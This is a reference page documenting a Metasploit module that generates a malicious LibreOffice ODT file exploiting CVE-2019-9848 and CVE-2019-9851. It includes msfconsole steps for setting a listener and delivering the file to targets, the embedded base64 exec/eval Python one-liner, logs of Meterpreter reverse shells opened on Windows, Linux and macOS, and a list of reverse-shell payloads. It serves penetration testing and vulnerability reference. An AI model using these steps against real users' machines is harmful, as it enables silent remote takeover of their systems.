LibreOffice Macro Python Code Execution - Metasploit


This page contains detailed information about how to use the exploit/multi/fileformat/libreoffice_logo_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: LibreOffice Macro Python Code Execution
Module: exploit/multi/fileformat/libreoffice_logo_exec
Source code: modules/exploits/multi/fileformat/libreoffice_logo_exec.rb
Disclosure date: 2019-07-16
Last modification time: 2019-08-19 13:12:54 +0000
Supported architecture(s): python
Supported platform(s): Python
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2018-16858, CVE-2019-9848, CVE-2019-9851

LibreOffice comes bundled with sample macros written in Python and allows the ability to bind program events to them. LibreLogo is a macro that allows a program event to execute text as Python code, allowing RCE. This module generates an ODT file with a dom loaded event that, when triggered, will execute arbitrary python code and the metasploit payload.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use exploit/multi/fileformat/libreoffice_logo_exec
msf exploit(libreoffice_logo_exec) > show targets
    ... a list of targets ...
msf exploit(libreoffice_logo_exec) > set TARGET target-id
msf exploit(libreoffice_logo_exec) > show options
    ... show and set options ...
msf exploit(libreoffice_logo_exec) > exploit

Knowledge Base


Description


This module exploits CVE-2019-9848, CVE-2019-9851 and is based on the module exploiting CVE-2018-16858, written by Shelby Pace.

LibreOffice has a feature where documents can specify that pre-installed scripts can be executed on various document events such as mouse-over, etc. LibreOffice is typically also bundled with LibreLogo, a programmable turtle vector graphics script, which can be manipulated into executing arbitrary python commands.

By using the document event feature to trigger LibreLogo to execute python contained within a document a malicious document could be constructed which would execute arbitrary python commands silently without warning.

This module generates an ODT file with a global dom loaded event that, when triggered, will execute any arbitrary python code and the metasploit payload. LibreLogo executes the python code stored on the text part of the document.

The generated document file contains a one-liner python code that executes the python payload generated by metasploit :

  exec(eval(str(__import__('base64').b64decode('#{b64_py_code}'))))

To avoid any python error, the h1 title written in the document is a python comment #.

Thanks to Shelby Pace, this module is now platform-independent.

Vulnerable Application


LibreOffice version 6.2.5 and prior.

This module has been tested successfully with:

  • LibreOffice 6.2.4 on Windows 7
  • LibreOffice 6.2.4 on Debian 9.9
  • LibreOffice 6.2.5 on Debian 9.9
  • LibreOffice 6.2.5 on Windows 7
  • LibreOffice 6.2.5 on Windows 10
  • LibreOffice 6.2.5 on Ubuntu 18.04
  • LibreOffice 6.2.5 on macOS 10.13.6

Verification Steps


  1. Install the application
  2. Start msfconsole
  3. Do: use exploit/multi/fileformat/libreoffice_logo_exec
  4. Do: set LHOST <ip>
  5. Do: set LPORT <port>
  6. Do: run
  7. Move the generated file to the targets
  8. Start a handler
  9. Open the file with a vulnerable version of LibreOffice
    1. You should get a shell.

Scenarios


LibreOffice 6.2.5 on Windows 10

  msf5 exploit(multi/handler) > run

  [*] Started reverse TCP handler on 192.168.56.4:4444 
  [*] Sending stage (53755 bytes) to 192.168.56.3
  [*] Meterpreter session 3 opened (192.168.56.4:4444 -> 192.168.56.3:51259) at 2019-08-18 08:57:20 -0400

  meterpreter > sysinfo
  Computer        : LL
  OS              : Windows 10 (Build 17134)
  Architecture    : x64
  System Language : fr_FR
  Meterpreter     : python/windows

LibreOffice 6.2.5 on Ubuntu 18.04

  msf5 exploit(multi/handler) > run

  [*] Started reverse TCP handler on 192.168.37.1:4444 
  [*] Sending stage (53755 bytes) to 192.168.37.137
  [*] Meterpreter session 3 opened (192.168.37.1:4444 -> 192.168.37.137:46668) at 2019-08-16 15:38:54 -0500

  meterpreter > sysinfo
  Computer        : ubuntu
  OS              : Linux 4.18.0-15-generic #16~18.04.1-Ubuntu SMP Thu Feb 7 14:06:04 UTC 2019
  Architecture    : x64
  System Language : en_US
  Meterpreter     : python/linux

LibreOffice 6.2.5 on macOS 10.13.6

  msf5 exploit(multi/handler) > set payload python/meterpreter/reverse_tcp
  payload => python/meterpreter/reverse_tcp
  msf5 exploit(multi/handler) > run

  [*] Started reverse TCP handler on 192.168.56.4:4444 
  [*] Sending stage (53755 bytes) to 192.168.56.2
  [*] Meterpreter session 1 opened (192.168.56.4:4444 -> 192.168.56.2:50795) at 2019-08-18 08:17:43 -0400

  meterpreter > sysinfo
  Computer        : MBP.local
  OS              : Darwin 17
  Architecture    : x64
  System Language : en_GB
  Meterpreter     : python/osx

Go back to menu.

Msfconsole Usage


Here is how the multi/fileformat/libreoffice_logo_exec exploit module looks in the msfconsole:

msf6 > use exploit/multi/fileformat/libreoffice_logo_exec

[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(multi/fileformat/libreoffice_logo_exec) > show info

       Name: LibreOffice Macro Python Code Execution
     Module: exploit/multi/fileformat/libreoffice_logo_exec
   Platform: Python
       Arch: python
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2019-07-16

Provided by:
  Nils Emmerich
  Shelby Pace
  LoadLow
  Gabriel Masei

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  No

Basic options:
  Name          Current Setting  Required  Description
  ----          ---------------  --------  -----------
  FILENAME      librefile.odt    yes       Output file name
  TEXT_CONTENT  My Report        yes       Text written in the document. It will be html encoded.

Payload information:

Description:
  LibreOffice comes bundled with sample macros written in Python and 
  allows the ability to bind program events to them. LibreLogo is a 
  macro that allows a program event to execute text as Python code, 
  allowing RCE. This module generates an ODT file with a dom loaded 
  event that, when triggered, will execute arbitrary python code and 
  the metasploit payload.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2019-9851
  https://www.libreoffice.org/about-us/security/advisories/cve-2019-9848/
  https://www.libreoffice.org/about-us/security/advisories/cve-2019-9851/
  https://insinuator.net/2019/07/libreoffice-a-python-interpreter-code-execution-vulnerability-cve-2019-9848/

Module Options


This is a complete list of options available in the multi/fileformat/libreoffice_logo_exec exploit:

msf6 exploit(multi/fileformat/libreoffice_logo_exec) > show options

Module options (exploit/multi/fileformat/libreoffice_logo_exec):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   FILENAME      librefile.odt    yes       Output file name
   TEXT_CONTENT  My Report        yes       Text written in the document. It will be html encoded.

Payload options (python/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

   **DisablePayloadHandler: True   (no handler will be created!)**

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options


Here is a complete list of advanced options supported by the multi/fileformat/libreoffice_logo_exec exploit:

msf6 exploit(multi/fileformat/libreoffice_logo_exec) > show advanced

Module advanced options (exploit/multi/fileformat/libreoffice_logo_exec):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   true             no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Payload advanced options (python/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   HttpCookie                                    no        An optional value to use for the Cookie HTTP header
   HttpHostHeader                                no        An optional value to use for the Host HTTP header
   HttpReferer                                   no        An optional value to use for the Referer HTTP header
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterTryToFork         true             no        Fork a new process if the functionality is available
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PythonMeterpreterDebug       false            no        Enable debugging for the Python meterpreter
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the multi/fileformat/libreoffice_logo_exec module can exploit:

msf6 exploit(multi/fileformat/libreoffice_logo_exec) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the multi/fileformat/libreoffice_logo_exec exploit:

msf6 exploit(multi/fileformat/libreoffice_logo_exec) > show payloads

Compatible Payloads
===================

   #   Name                                         Disclosure Date  Rank    Check  Description
   -   ----                                         ---------------  ----    -----  -----------
   0   payload/generic/custom                                        normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                             normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/multi/meterpreter/reverse_http                        normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
   4   payload/multi/meterpreter/reverse_https                       normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
   5   payload/python/meterpreter/bind_tcp                           normal  No     Python Meterpreter, Python Bind TCP Stager
   6   payload/python/meterpreter/bind_tcp_uuid                      normal  No     Python Meterpreter, Python Bind TCP Stager with UUID Support
   7   payload/python/meterpreter/reverse_http                       normal  No     Python Meterpreter, Python Reverse HTTP Stager
   8   payload/python/meterpreter/reverse_https                      normal  No     Python Meterpreter, Python Reverse HTTPS Stager
   9   payload/python/meterpreter/reverse_tcp                        normal  No     Python Meterpreter, Python Reverse TCP Stager
   10  payload/python/meterpreter/reverse_tcp_ssl                    normal  No     Python Meterpreter, Python Reverse TCP SSL Stager
   11  payload/python/meterpreter/reverse_tcp_uuid                   normal  No     Python Meterpreter, Python Reverse TCP Stager with UUID Support
   12  payload/python/meterpreter_bind_tcp                           normal  No     Python Meterpreter Shell, Bind TCP Inline
   13  payload/python/meterpreter_reverse_http                       normal  No     Python Meterpreter Shell, Reverse HTTP Inline
   14  payload/python/meterpreter_reverse_https                      normal  No     Python Meterpreter Shell, Reverse HTTPS Inline
   15  payload/python/meterpreter_reverse_tcp                        normal  No     Python Meterpreter Shell, Reverse TCP Inline
   16  payload/python/pingback_bind_tcp                              normal  No     Python Pingback, Bind TCP (via python)
   17  payload/python/pingback_reverse_tcp                           normal  No     Python Pingback, Reverse TCP (via python)
   18  payload/python/shell_bind_tcp                                 normal  No     Command Shell, Bind TCP (via python)
   19  payload/python/shell_reverse_tcp                              normal  No     Command Shell, Reverse TCP (via python)
   20  payload/python/shell_reverse_tcp_ssl                          normal  No     Command Shell, Reverse TCP SSL (via python)
   21  payload/python/shell_reverse_udp                              normal  No     Command Shell, Reverse UDP (via python)

Evasion Options


Here is the full list of possible evasion options supported by the multi/fileformat/libreoffice_logo_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/fileformat/libreoffice_logo_exec) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Cannot find template file


Here is a relevant code snippet related to the "Cannot find template file" error message:

61:	
62:	    print_status("File generated! Now you need to move the odt file and find a way to send it/open it with LibreOffice on the target.")
63:	
64:	    libre_file
65:	  rescue Errno::ENOENT
66:	    fail_with(Failure::NotFound, 'Cannot find template file')
67:	  end
68:	
69:	  def exploit
70:	    fodt_file = gen_file
71:	

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Nils Emmerich
  • Shelby Pace
  • LoadLow
  • Gabriel Masei

Version


This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.